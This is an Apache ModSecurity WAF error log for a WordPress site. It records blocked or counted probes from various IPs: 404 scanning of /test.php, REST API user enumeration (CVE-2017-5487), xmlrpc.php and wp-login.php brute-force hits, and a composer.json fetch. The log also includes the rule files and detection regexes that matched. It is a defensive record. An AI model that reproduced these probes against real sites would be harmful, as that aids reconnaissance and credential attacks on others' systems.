[Sat Mar 14 06:00:09.602148 2026] [:error] [pid 57226:tid 57244] [client 20.188.34.102:32734] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "abSI6WxFlXQvNewjeI8gggAAAU4"]
[Sat Mar 14 06:00:12.835554 2026] [:error] [pid 4018:tid 4038] [client 20.188.34.102:29512] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "abSI7AEk1fxdMMkDDaLZLAAAAM0"]
[Sat Mar 14 06:00:14.598724 2026] [:error] [pid 35801:tid 35822] [client 20.188.34.102:28647] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "abSI7m8tVFelXGsqbU-xAQAAARI"]
[Sat Mar 14 06:00:17.152801 2026] [:error] [pid 3913:tid 3965] [client 20.188.34.102:32758] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "abSI8R9qvQd4GQHUp68ErQAAAEg"]
[Sat Mar 14 06:21:55.131030 2026] [:error] [pid 3912:tid 3928] [client 181.136.204.174:60631] [client 181.136.204.174] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abSOA8XFZBK-jpdCvTHNaAAAAAE"]
[Sat Mar 14 06:23:36.910891 2026] [:error] [pid 57226:tid 57251] [client 181.136.204.174:62074] [client 181.136.204.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.136.204.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abSOaGxFlXQvNewjeI8o3wAAAVU"]
[Sat Mar 14 06:25:14.937973 2026] [:error] [pid 3913:tid 3967] [client 181.136.204.174:62932] [client 181.136.204.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.136.204.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abSOyh9qvQd4GQHUp68LzAAAAEo"]
[Sat Mar 14 06:26:32.840577 2026] [:error] [pid 3913:tid 3975] [client 181.136.204.174:63226] [client 181.136.204.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.136.204.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abSPGB9qvQd4GQHUp68MXwAAAFI"]
[Sat Mar 14 06:27:46.928686 2026] [:error] [pid 3912:tid 3927] [client 181.136.204.174:63438] [client 181.136.204.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.136.204.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abSPYsXFZBK-jpdCvTHN6wAAAAA"]
[Sat Mar 14 07:22:00.464653 2026] [:error] [pid 35801:tid 35814] [client 165.232.144.21:38178] [client 165.232.144.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.232.144.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abScGG8tVFelXGsqbU_CnwAAAQo"]
[Sat Mar 14 07:22:03.544785 2026] [:error] [pid 3913:tid 3970] [client 165.232.144.21:40114] [client 165.232.144.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.232.144.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abScGx9qvQd4GQHUp68d3QAAAE0"], referer: https://gigfragments.org/wp-login.php
[Sat Mar 14 09:35:49.782005 2026] [:error] [pid 57226:tid 57231] [client 52.42.48.89:37974] [client 52.42.48.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.42.48.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abS7dWxFlXQvNewjeI98fQAAAUE"]
[Sat Mar 14 09:35:51.804104 2026] [:error] [pid 57226:tid 57253] [client 52.42.48.89:37974] [client 52.42.48.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.42.48.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abS7d2xFlXQvNewjeI98fgAAAVc"], referer: https://gigfragments.org/wp-login.php
[Sat Mar 14 09:44:27.064902 2026] [:error] [pid 3913:tid 3960] [client 182.43.70.143:47328] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abS9ex9qvQd4GQHUp69KSAAAAEM"]
[Sat Mar 14 10:49:06.300445 2026] [:error] [pid 53961:tid 53966] [client 51.89.43.80:65194] [client 51.89.43.80] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "abTMotczYH1OqY7y2cOIOAAAAcI"]
[Sat Mar 14 11:53:20.945353 2026] [:error] [pid 53961:tid 53970] [client 43.159.149.56:38630] [client 43.159.149.56] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abTbsNczYH1OqY7y2cOSKQAAAcY"]
[Sat Mar 14 12:27:33.698316 2026] [:error] [pid 13262:tid 13315] [client 202.47.45.54:19110] [client 202.47.45.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.45.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abTjtTAdvM7ft5BXQ2eAXgAAAZY"]
[Sat Mar 14 12:28:47.565727 2026] [:error] [pid 13262:tid 13297] [client 202.47.45.54:19463] [client 202.47.45.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.45.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abTj_zAdvM7ft5BXQ2eAqAAAAYQ"]
[Sat Mar 14 12:29:58.121906 2026] [:error] [pid 13262:tid 13316] [client 202.47.45.54:17990] [client 202.47.45.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.45.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abTkRjAdvM7ft5BXQ2eA5gAAAZc"]
[Sat Mar 14 12:31:12.177169 2026] [:error] [pid 13360:tid 13386] [client 202.47.45.54:18740] [client 202.47.45.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.45.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abTkkPoSWtMry3M5X6vogwAAApY"]
[Sat Mar 14 12:32:28.180794 2026] [:error] [pid 54133:tid 54165] [client 202.47.45.54:19146] [client 202.47.45.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.45.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abTk3LyyvmaT6YxSjMuZ7AAAA4E"]
[Sat Mar 14 14:01:22.883734 2026] [:error] [pid 13261:tid 13283] [client 138.197.98.70:56290] [client 138.197.98.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.98.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abT5svDFVxjWSW61p5knxQAAANE"]
[Sat Mar 14 14:01:24.538113 2026] [:error] [pid 13261:tid 13289] [client 138.197.98.70:56290] [client 138.197.98.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.98.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abT5tPDFVxjWSW61p5knxwAAANc"], referer: https://gigfragments.org/wp-login.php
[Sat Mar 14 16:41:54.524936 2026] [:error] [pid 61382:tid 61410] [client 182.43.70.143:46037] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abUfUv5UUtpNLvwsJ7jmggAAABg"]
[Sat Mar 14 18:05:09.426373 2026] [:error] [pid 13151:tid 13173] [client 119.73.96.128:55837] [client 119.73.96.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.73.96.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abUy1dbXrXQxFzrsw409WgAAAJQ"]
[Sat Mar 14 18:06:16.113250 2026] [:error] [pid 30154:tid 30164] [client 180.178.131.5:18188] [client 180.178.131.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.178.131.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abUzGF6OP9woRgp3v0FLEwAAAMQ"]
[Sat Mar 14 18:08:18.693808 2026] [:error] [pid 61383:tid 61421] [client 119.73.96.128:56299] [client 119.73.96.128] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abUzki4SAn4TCd4o0dXdFwAAAQU"]
[Sat Mar 14 18:09:34.282289 2026] [:error] [pid 61382:tid 61404] [client 119.73.96.128:56674] [client 119.73.96.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.73.96.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abUz3v5UUtpNLvwsJ7jwuQAAABI"]
[Sat Mar 14 18:10:50.193050 2026] [:error] [pid 13151:tid 13174] [client 119.73.96.128:56760] [client 119.73.96.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.73.96.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abU0KtbXrXQxFzrsw41ASwAAAJU"]
[Sat Mar 14 18:10:56.511389 2026] [:error] [pid 13151:tid 13155] [client 180.178.131.5:18343] [client 180.178.131.5] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abU0MNbXrXQxFzrsw41AUwAAAII"]
[Sat Mar 14 18:12:11.949305 2026] [:error] [pid 61384:tid 61459] [client 119.73.96.128:56846] [client 119.73.96.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.73.96.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abU0e_zibL2IYJprDHKrzgAAAdA"]
[Sat Mar 14 18:12:33.391098 2026] [:error] [pid 61477:tid 61482] [client 180.178.131.5:19102] [client 180.178.131.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.178.131.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abU0kacx6muYfIYRM7C4YAAAAEE"]
[Sat Mar 14 18:13:47.522693 2026] [:error] [pid 30154:tid 30170] [client 119.73.96.128:55801] [client 119.73.96.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.73.96.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abU0216OP9woRgp3v0FNgwAAAMo"]
[Sat Mar 14 18:14:15.018755 2026] [:error] [pid 61383:tid 61421] [client 180.178.131.5:18817] [client 180.178.131.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.178.131.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abU09y4SAn4TCd4o0dXeHgAAAQU"]
[Sat Mar 14 18:16:07.198468 2026] [:error] [pid 61382:tid 61400] [client 180.178.131.5:18398] [client 180.178.131.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.178.131.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abU1Z_5UUtpNLvwsJ7jxgAAAAA4"]
[Sat Mar 14 18:17:36.432198 2026] [:error] [pid 30154:tid 30176] [client 180.178.131.5:18548] [client 180.178.131.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.178.131.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abU1wF6OP9woRgp3v0FPIwAAANA"]
[Sat Mar 14 20:17:18.208474 2026] [:error] [pid 30154:tid 30164] [client 192.176.172.166:59560] [client 192.176.172.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.176.172.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abVRzl6OP9woRgp3v0F2VAAAAMQ"]
[Sat Mar 14 20:17:19.940527 2026] [:error] [pid 30154:tid 30174] [client 192.176.172.166:59560] [client 192.176.172.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.176.172.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abVRz16OP9woRgp3v0F2WgAAAM4"], referer: https://gigfragments.org/wp-login.php
[Sat Mar 14 22:15:20.503505 2026] [:error] [pid 13151:tid 13177] [client 49.51.233.95:58034] [client 49.51.233.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abVteNbXrXQxFzrsw412UgAAAJg"]
[Sat Mar 14 23:20:03.855279 2026] [:error] [pid 49351:tid 49376] [client 170.106.180.139:59032] [client 170.106.180.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abV8oxzAvuOUcwe0iz-HBQAAAxY"]
[Sat Mar 14 23:26:55.855959 2026] [:error] [pid 61382:tid 61402] [client 69.49.112.66:37774] [client 69.49.112.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.66, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abV-P_5UUtpNLvwsJ7gRFQAAABA"]
[Sat Mar 14 23:26:57.895888 2026] [:error] [pid 61382:tid 61397] [client 69.49.112.66:37774] [client 69.49.112.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.66, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abV-Qf5UUtpNLvwsJ7gRHAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 15 01:35:03.486367 2026] [:error] [pid 20020:tid 20035] [client 203.174.26.11:43164] [client 203.174.26.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.174.26.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abWcR0PjaRwagw2fU7gPEwAAAE0"]
[Sun Mar 15 01:35:05.416070 2026] [:error] [pid 20020:tid 20037] [client 203.174.26.11:43164] [client 203.174.26.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.174.26.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abWcSUPjaRwagw2fU7gPGgAAAE8"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 15 02:33:39.380845 2026] [:error] [pid 19671:tid 19989] [client 138.68.109.37:42030] [client 138.68.109.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.68.109.37, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abWqA1u8gYYbnWVq3mUrBAAAARg"]
[Sun Mar 15 02:33:41.824090 2026] [:error] [pid 59255:tid 59277] [client 138.68.109.37:42034] [client 138.68.109.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.68.109.37, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abWqBa3w_Oi6c1avgTsKewAAAJA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 15 04:37:31.848313 2026] [:error] [pid 38645:tid 38650] [client 41.141.179.74:46770] [client 41.141.179.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.141.179.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abXHCxFPHtsDUuVrWDZOWAAAAMM"]
[Sun Mar 15 04:37:34.284045 2026] [:error] [pid 38645:tid 38670] [client 41.141.179.74:46770] [client 41.141.179.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.141.179.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abXHDhFPHtsDUuVrWDZOfgAAANc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 15 05:14:20.567660 2026] [:error] [pid 38645:tid 38659] [client 103.82.21.44:14178] [client 103.82.21.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.82.21.44, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abXPrBFPHtsDUuVrWDZeIAAAAMw"]
[Sun Mar 15 05:14:22.567461 2026] [:error] [pid 38645:tid 38665] [client 103.82.21.44:14178] [client 103.82.21.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.82.21.44, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abXPrhFPHtsDUuVrWDZeJwAAANI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 15 05:22:03.204523 2026] [:error] [pid 38541:tid 38613] [client 156.67.104.124:60916] [client 156.67.104.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 156.67.104.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abXRe3uOpex8jIO0jt7SUgAAAIA"]
[Sun Mar 15 05:22:05.967354 2026] [:error] [pid 9995:tid 10002] [client 156.67.104.124:60926] [client 156.67.104.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 156.67.104.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abXRfQa8xkcaSmgTbwje0QAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 15 05:24:06.625451 2026] [:error] [pid 38536:tid 38572] [client 170.84.36.168:21536] [client 170.84.36.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.84.36.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abXR9vpTEqkVJ0rBEWt-kwAAABM"]
[Sun Mar 15 05:27:13.854068 2026] [:error] [pid 38540:tid 38593] [client 170.84.36.168:21797] [client 170.84.36.168] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abXSsV8bnHsJ1dE90bLmUQAAAEc"]
